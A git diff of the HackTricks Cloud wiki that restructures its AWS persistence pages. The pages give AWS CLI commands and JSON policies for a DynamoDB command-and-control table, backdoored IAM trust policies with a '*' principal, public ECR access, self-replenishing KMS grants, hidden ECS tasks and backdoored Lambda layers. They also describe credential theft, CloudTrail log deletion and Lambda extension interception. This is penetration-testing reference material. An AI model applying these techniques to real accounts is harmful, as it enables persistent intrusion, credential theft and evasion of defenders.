+    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+    --region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+    --table-name C2Table \
+    --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+    --region <region>
+```
+
+The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
new file mode 100644
index 000000000..4c87fda79
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -0,0 +1,54 @@
+# AWS - EC2 Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EC2
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
+
+If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
+An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
+
+### Scheduled Instances
+
+It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
+
+### Spot Fleet Request
+
+Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
+
+### Backdoor Instances
+
+An attacker could get access to the instances and backdoor them:
+
+- Using a traditional **rootkit** for example
+- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
+- Backdooring the **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### VPN
+
+Create a VPN so the attacker will be able to connect directly through i to the VPC.
+
+### VPC Peering
+
+Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
new file mode 100644
index 000000000..2efeb83cb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -0,0 +1,97 @@
+# AWS - ECR Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECR
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Hidden Docker Image with Malicious Code
+
+An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
+
+### Repository Policy
+
+Add a policy to a single repository granting yourself (or everybody) access to a repository:
+
+```bash
+aws ecr set-repository-policy \
+    --repository-name cluster-autoscaler \
+    --policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+    "Version" : "2008-10-17",
+    "Statement" : [
+        {
+            "Sid" : "allow public pull",
+            "Effect" : "Allow",
+            "Principal" : "*",
+            "Action" : [
+                "ecr:BatchCheckLayerAvailability",
+                "ecr:BatchGetImage",
+                "ecr:GetDownloadUrlForLayer"
+            ]
+        }
+    ]
+}
+```
+
+> [!WARNING]
+> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
+
+### Registry Policy & Cross-account Replication
+
+It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+First, you need to give the external account access over the registry with a **registry policy** like:
+
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+  "Sid": "asdasd",
+  "Effect": "Allow",
+  "Principal": {
+    "AWS": "arn:aws:iam::947247140022:root"
+  },
+  "Action": [
+    "ecr:CreateRepository",
+    "ecr:ReplicateImage"
+  ],
+  "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+
+Then apply the replication config:
+
+```bash
+aws ecr put-replication-configuration \
+     --replication-configuration file://replication-settings.json \
+     --region us-west-2
+
+# Having the .json a content such as:
+{
+	"rules": [{
+		"destinations": [{
+			"region": "destination_region",
+			"registryId": "destination_accountId"
+		}],
+		"repositoryFilters": [{
+			"filter": "repository_prefix_name",
+			"filterType": "PREFIX_MATCH"
+		}]
+	}]
+}
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
similarity index 50%
rename from pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 0b79be73e..da975a970 100644
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -1,33 +1,19 @@
 # AWS - ECS Persistence
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## ECS
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-ecs-enum.md" %}
-[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-ecs-enum.md
+{{#endref}}
 
 ### Hidden Periodic ECS Task
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
 
@@ -62,9 +48,8 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
 
 ### Backdoor Container in Existing ECS Task Definition
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
 
@@ -90,9 +75,8 @@ aws ecs register-task-definition --family "existing-task" --container-definition
 
 ### Undocumented ECS Service
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
 
@@ -112,17 +96,4 @@ aws ecs register-task-definition --family "malicious-task" --container-definitio
 aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
new file mode 100644
index 000000000..99916b572
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EFS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modify Resource Policy / Security Groups
+
+Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
+
+### Create Access Point
+
+You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
similarity index 51%
rename from pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 068ef11c5..6ff600d5e 100644
--- a/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -1,27 +1,14 @@
 # AWS - Elastic Beanstalk Persistence
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
-[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
 
 ### Persistence in Instance
 
@@ -37,9 +24,8 @@ Instead of changing the code on the actual version, the attacker could deploy a
 
 ### Abusing Custom Resource Lifecycle Hooks
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
 
@@ -88,17 +74,4 @@ echo 'Resources:
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
new file mode 100644
index 000000000..9cab10503
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -0,0 +1,49 @@
+# AWS - IAM Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## IAM
+
+For more information access:
+
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Common IAM Persistence
+
+- Create a user
+- Add a controlled user to a privileged group
+- Create access keys (of the new user or of all users)
+- Grant extra permissions to controlled users/groups (attached policies or inline policies)
+- Disable MFA / Add you own MFA device
+- Create a Role Chain Juggling situation (more on this below in STS persistence)
+
+### Backdoor Role Trust Policies
+
+You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": ["*", "arn:aws:iam::123213123123:root"]
+      },
+      "Action": "sts:AssumeRole"
+    }
+  ]
+}
+```
+
+### Backdoor Policy Version
+
+Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+
+### Backdoor / Create Identity Provider
+
+If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
new file mode 100644
index 000000000..5a9646176
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -0,0 +1,39 @@
+# AWS - KMS Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## KMS
+
+For mor information check:
+
+{{#ref}}
+../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant acces via KMS policies
+
+An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+
+### Eternal Grant
+
+Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+
+Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
+
+(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+    --key-id <key-id> \
+    --grantee-principal <user_arn> \
+    --operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+
+> [!NOTE]
+> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
new file mode 100644
index 000000000..7eaa170fd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -0,0 +1,64 @@
+# AWS - Lambda Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lambda
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-lambda-enum.md
+{{#endref}}
+
+### Lambda Layer Persistence
+
+It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+
+{{#ref}}
+aws-lambda-layers-persistence.md
+{{#endref}}
+
+### Lambda Extension Persistence
+
+Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+
+{{#ref}}
+aws-abusing-lambda-extensions.md
+{{#endref}}
+
+### Via resource policies
+
+It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+
+<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
+
+### Versions, Aliases & Weights
+
+A Lambda can have **different versions** (with different code each version).\
+Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
+This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+
+<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
+
+### Version Backdoor + API Gateway
+
+1. Copy the original code of the Lambda
+2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
+   1. Call the API gateway related to the lambda to execute the code
+3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
+   1. This will hide the backdoored code in a previous version
+4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+   1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
+5. Select the POST method created and in Actions select **`Deploy API`**
+6. Now, when you **call the function via POST your Backdoor** will be invoked
+
+### Cron/Event actuator
+
+The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
+Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+
+- Every time a new user is created lambda generates a new user key and send it to the attacker.
+- Every time a new role is created lambda gives assume role permissions to compromised users.
+- Every time new cloudtrail logs are generated, delete/alter them
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
new file mode 100644
index 000000000..3f78cfd42
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -0,0 +1,42 @@
+# AWS - Abusing Lambda Extensions
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lambda Extensions
+
+Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+
+- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
+- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+
+For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+
+### External Extension for Persistence, Stealing Requests & modifying Requests
+
+This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+
+It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+
+Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+
+The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+
+<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
+
+The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+
+> [!WARNING]
+> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+
+Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+
+<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
+
+The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+
+## References
+
+- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
+- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
similarity index 65%
rename from pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index dd762e60e..4b5b8e335 100644
--- a/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,19 +1,6 @@
 # AWS - Lambda Layers Persistence
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Lambda Layers
 
@@ -35,21 +22,19 @@ The load path that Python will use in lambda is the following:
 
 Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
 
-{% hint style="danger" %}
-If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
-{% endhint %}
+> [!CAUTION]
+> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
 
 Therefore, the requisites are:
 
-* **Check libraries** that are **loaded** by the victims code
-* Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Check libraries** that are **loaded** by the victims code
+- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
 
 ### Preloaded libraries
 
-{% hint style="warning" %}
-When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-{% endhint %}
+> [!WARNING]
+> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
+> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
 
 With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
 
@@ -79,8 +64,8 @@ For doing that, we are going to **create the directory csv** with the file **`__
 Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
 This file must:
 
-* Execute our payload
-* Load the original csv library
+- Execute our payload
+- Load the original csv library
 
 We can do both with:
 
@@ -112,9 +97,9 @@ You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor*
 
 The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
 
-{% content-ref url="../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md" %}
-[aws-warm-lambda-persistence.md](../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+{{#endref}}
 
 ### External Layers
 
@@ -123,12 +108,11 @@ Also note that the **max number of layers a lambda can have is 5**.
 
 Therefore, in order to improve the versatility of this technique an attacker could:
 
-* Backdoor an existing layer of the user (nothing is external)
-* **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
-  * The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
-  * The victim **won't see external layers** used with **`aws lambda list-layers`**
+- Backdoor an existing layer of the user (nothing is external)
+- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
+  - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
+  - The victim **won't see external layers** used with **`aws lambda list-layers`**
 
-{% code overflow="wrap" %}
 ```bash
 # Upload backdoor layer
 aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -142,19 +126,5 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 # Remove permissions
 aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
 ```
-{% endcode %}
 
-{% hint style="success" %}
